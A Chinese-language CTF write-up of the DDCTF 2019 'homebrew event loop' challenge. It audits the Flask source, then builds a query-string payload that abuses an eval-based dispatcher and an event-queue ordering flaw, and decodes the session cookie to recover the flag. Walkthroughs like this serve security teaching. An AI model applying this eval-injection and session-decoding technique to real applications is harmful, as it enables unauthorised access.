[DDCTF 2019]homebrew event loop

有点意思的一道代码审计题

 

 

先简单串烧一下一些基本知识点


 

 

python文件源码

  1 from flask import Flask, session, request, Response
  2 import urllib
  3 
  4 app = Flask(__name__)
  5 app.secret_key = '*********************'  # censored
  6 url_prefix = '/d5afe1f66147e857'
  7 
  8 
  9 def FLAG():
 10     return '*********************'  # censored
 11 
 12 
 13 def trigger_event(event): //trigger_event:标识触发事件,取值为 INSERT、UPDATE 或 DELETE;
 14     session['log'].append(event)
 15     if len(session['log']) > 5:
 16         session['log'] = session['log'][-5:]
 17     if type(event) == type([]):
 18         request.event_queue += event
 19     else:
 20         request.event_queue.append(event)
 21 
 22 
 23 def get_mid_str(haystack, prefix, postfix=None):
 24     haystack = haystack[haystack.find(prefix)+len(prefix):]
 25     if postfix is not None:
 26         haystack = haystack[:haystack.find(postfix)]
 27     return haystack
 28 
 29 
 30 class RollBackException:
 31     pass
 32 
 33 
 34 def execute_event_loop():
 35     valid_event_chars = set(
 36         'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
 37     resp = None
 38     while len(request.event_queue) > 0:
 39         # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
 40         event = request.event_queue[0]
 41         request.event_queue = request.event_queue[1:]
 42         if not event.startswith(('action:', 'func:')):
 43             continue
 44         for c in event:
 45             if c not in valid_event_chars:
 46                 break
 47         else:
 48             is_action = event[0] == 'a'
 49             action = get_mid_str(event, ':', ';')
 50             args = get_mid_str(event, action+';').split('#')
 51             try:
 52                 event_handler = eval(
 53                     action + ('_handler' if is_action else '_function'))
 54                 ret_val = event_handler(args)
 55             except RollBackException:
 56                 if resp is None:
 57                     resp = ''
 58                 resp += 'ERROR! All transactions have been cancelled. <br />'
 59                 resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
 60                 session['num_items'] = request.prev_session['num_items']
 61                 session['points'] = request.prev_session['points']
 62                 break
 63             except Exception, e:
 64                 if resp is None:
 65                     resp = ''
 66                 # resp += str(e) # only for debugging
 67                 continue
 68             if ret_val is not None:
 69                 if resp is None:
 70                     resp = ret_val
 71                 else:
 72                     resp += ret_val
 73     if resp is None or resp == '':
 74         resp = ('404 NOT FOUND', 404)
 75     session.modified = True
 76     return resp
 77 
 78 
 79 @app.route(url_prefix+'/')
 80 def entry_point():
 81     querystring = urllib.unquote(request.query_string)
 82     request.event_queue = []
 83     if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
 84         querystring = 'action:index;False#False'
 85     if 'num_items' not in session:
 86         session['num_items'] = 0
 87         session['points'] = 3
 88         session['log'] = []
 89     request.prev_session = dict(session)
 90     trigger_event(querystring)
 91     return execute_event_loop()
 92 
 93 # handlers/functions below --------------------------------------
 94 
 95 
 96 def view_handler(args):
 97     page = args[0]
 98     html = ''
 99     html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
100         session['num_items'], session['points'])
101     if page == 'index':
102         html += '<a href="./?action:index;True%23False">View source code</a><br />'
103         html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
104         html += '<a href="./?action:view;reset">Reset</a><br />'
105     elif page == 'shop':
106         html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
107     elif page == 'reset':
108         del session['num_items']
109         html += 'Session reset.<br />'
110     html += '<a href="./?action:view;index">Go back to index.html</a><br />'
111     return html
112 
113 
114 def index_handler(args):
115     bool_show_source = str(args[0])
116     bool_download_source = str(args[1])
117     if bool_show_source == 'True':
118 
119         source = open('eventLoop.py', 'r')
120         html = ''
121         if bool_download_source != 'True':
122             html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
123             html += '<a href="./?action:view;index">Go back to index.html</a><br />'
124 
125         for line in source:
126             if bool_download_source != 'True':
127                 html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
128                     ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
129             else:
130                 html += line
131         source.close()
132 
133         if bool_download_source == 'True':
134             headers = {}
135             headers['Content-Type'] = 'text/plain'
136             headers['Content-Disposition'] = 'attachment; filename=serve.py'
137             return Response(html, headers=headers)
138         else:
139             return html
140     else:
141         trigger_event('action:view;index')
142 
143 
144 def buy_handler(args):
145     num_items = int(args[0])
146     if num_items <= 0:
147         return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
148     session['num_items'] += num_items
149     trigger_event(['func:consume_point;{}'.format(
150         num_items), 'action:view;index'])
151 
152 
153 def consume_point_function(args):
154     point_to_consume = int(args[0])
155     if session['points'] < point_to_consume:
156         raise RollBackException()
157     session['points'] -= point_to_consume
158 
159 
160 def show_flag_function(args):
161     flag = args[0]
162     # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
163     return 'You naughty boy! ;) <br />'
164 
165 
166 def get_flag_handler(args):
167     if session['num_items'] >= 5:
168         # show_flag_function has been disabled, no worries
169         trigger_event('func:show_flag;' + FLAG())
170     trigger_event('action:view;index')
171 
172 
173 if __name__ == '__main__':
174     app.run(debug=False, host='0.0.0.0')

 


 

0X01 开始代码审计 😓

  • 首先我们从路由入手,然后我们慢慢去看它调用了哪些函数,这里只用了一个路由

 

  • 当我们看到第81行就知道,querystring = urllib.unquote(request.query_string) 接收url? 后面的所有的值,然后进行url编码,传入参数querystring

 

接着有个判断条件

 if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100

 

  • 结合上面,如果没有传递任何参数为空或者不是以action开头
 (not querystring.startswith('action:')

 

  • 又或者上传参数长度大于100
or len(querystring) > 100

 

  • 那么就会进入条件判断语句,强化初始化参数
querystring = 'action:index;False#False'

 

后面的内容就是我们买钻石的网站,我们先盲猜一下'num_items' 是我们买东西的清单,如果我们什么都没买,就是初始化session中的列表

        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []

 

从现在来看,之前的一切都是在为我们买东西做准备,接收了我们的参数以后,如果我们没有买东西,就是我们初步登录的这个界面,将我们一切东西初始化。重点是下面三个

 

request.prev_session = dict(session) 这把刚刚初始化的session用字典的形式传给了这个参数到了90行,我们看到了一个函数trigger_event,我们在vscode上面跟进这个函数

 

 

可以看到,实际上trigger_event的形参event 就是我们刚刚获得url?后面的字符串querystring 。并且将它加入到

session['log']这个日志

问题来了,下面两个if语句,是什么意思呢?

  • 第一个

 举个例子 

 

 也就是要后面5个,前面都不要了

 

  • 第二个

 如果我们刚刚传入的参数也就是url?后面的字符串是列表类型,就合并。这两个列表request.event_queueevent合并在一起。可能有人会问

request.event_queue 是什么,就在前面才定义 😢

 

这个时候,你也许会问,它之前在路由定义的,现在函数里面能用吗?可以,因为它是全局变量,即使函数没有声明,也可以使用。 * 顺便说一下,列表也是可以合并的,a=[1,5] b=[3,4,5] a+b=[1,3,4,5,5] *

如果没有进行第二个if条件判断,就执行request.event_queue.append(event) 加入到这个列表当中。

 


 

 

这个时候我们来看91行的return返回函数return execute_event_loop() ,我们在vscode上面跟进函数

 

 

 首先初始化设置了两个参数

valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None

进入while循环吗,我们再来想一下request.enent_queque是什么东西?

 

 

也就是我们url?后面的字符串,加入到这个列表中。以后不会再重复了

 

 


 

while循环一进来就是这个

 

 

 就是将我们刚刚输入的字符串的列表第一个赋值给event ,然后删除了第一个值,因为第一个值已经给了event ,然后删除了第一个值,因为第一个值已经给了event ,没必要留着

 

 

 如果我们第一个字符串开头不是 actionfunc ,就进入if判断语句继续。下一个for循环一次检验event 中有没有字符,,可能有人忘了 valid_event_chars: 是什么..

 

 

 

 


 

 

重点来了

else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp

 

这个开头is_action = event[0] == 'a' 作用是什么,我们还不知道,先放着

下面两个我们可以看到有同一个函数get_mid_str

action = get_mid_str(event, ':', ';')

args = get_mid_str(event, action+';').split('#')

在vscode里面跟进这个函数

 

 

 这个函数的大概作用是

 

action 是由实际作用,因为eval 函数会用到,args函数不知道有啥用,大佬的wp是:返回列表到args里,所以很明显,我们上传的参数就是action开头,才能上传过来

大佬的wp更直观

def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack

def ACTION_handler():pass

event = 'action:ACTION;ARGS0#ARGS1#ARGS2'
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
print '[!] action:',action
args = get_mid_str(event, action+';').split('#')
print '[!] args:',args
event_handler = eval(action + ('_handler' if is_action else '_function'))
print '[!] event_handler:',event_handler

 

看到第九行我们的event是这个样子,我们运行会得到什么?

[!] action: ACTION
[!] args: ['ARGS0', 'ARGS1', 'ARGS2']
[!] event_handler: <function ACTION_handler at 0x00000000035A4B38>

event_handler 函数就是用eval 拼接,从而得到了处理函数,eveal 函数的本质就是将字符串str当成有效的表达式来求职并且返回计算结果,程序过滤了大部分的特殊符号,导致我们不能随意使用代码注入,不过由于ARGS 使用# 进行分割,而# 在python代码中是注释符,在action 中加入#,可以把后面的_handler 注释掉。上面的代码用event = 'action:str#;ARGS0#ARGS1#ARGS2' 进行测试

[!] action: str#
[!] args: ['ARGS0', 'ARGS1', 'ARGS2']
[!] event_handler: <type 'str'>

 


 

 

其他没啥分析,我们找到可以控制的点

我们去找找如何得到falg(因为我们有eval执行函数)

我们看到FLAG函数是不带参数

现在,我们可以控制event_handler 运行指定的函数,不过还有一个问题是FLAG()函数是不带参数,而argslist ,直接传入action:FLAG ,将产生报错

为什么其他参数不行

 

这里是参数args的

 

 

那么没办法,只好分析源码,我们发现show_flag_function 是没办法得到falg,因为return flag 被注释掉了,只是将它放到flag中。想要得到flag只能用get_flag_handler()可以得到flag,而得到flag的条件是是if session['num_items'] >= 5: ,于是我们进入题目界面,去买钻石💎,发现最多买3个,不能买5个以及5个以上。我们看一下买钻石的函数

 

 

 

发现存在逻辑漏洞:就是我们的钱无论够不够,它都会给我们先加上,然后扣掉

我们发现第148行,无论我们的钱够不够,都先给我们加上,之后再扣掉

若让eval()去执行trigger_event(),并且在后面跟两个命令作为参数,分别是buyget_flag,那么buyget_flag便先后进入队列。

根据顺序会先执行buy_handler(),此时consume_point进入队列,排在get_flag之后,我们的目标达成。

 


 

 

我们构造plyadload

action:trigger_event%23;action:buy;5%23action:get_flag;

 

 

我们把得到的session放到KALI里面的flask-session-cookie-manager-master进行解密

python3 flask_session_cookie_manager3.py decode -c 'session'

 

 

 

 

 

 

func:show_flag;flag{d07646de-b436-4966-ad68-fd2fc9d9764f}

 

posted @ 2021-04-12 20:47  原来是甘文川同学  阅读(491)  评论(0)    收藏  举报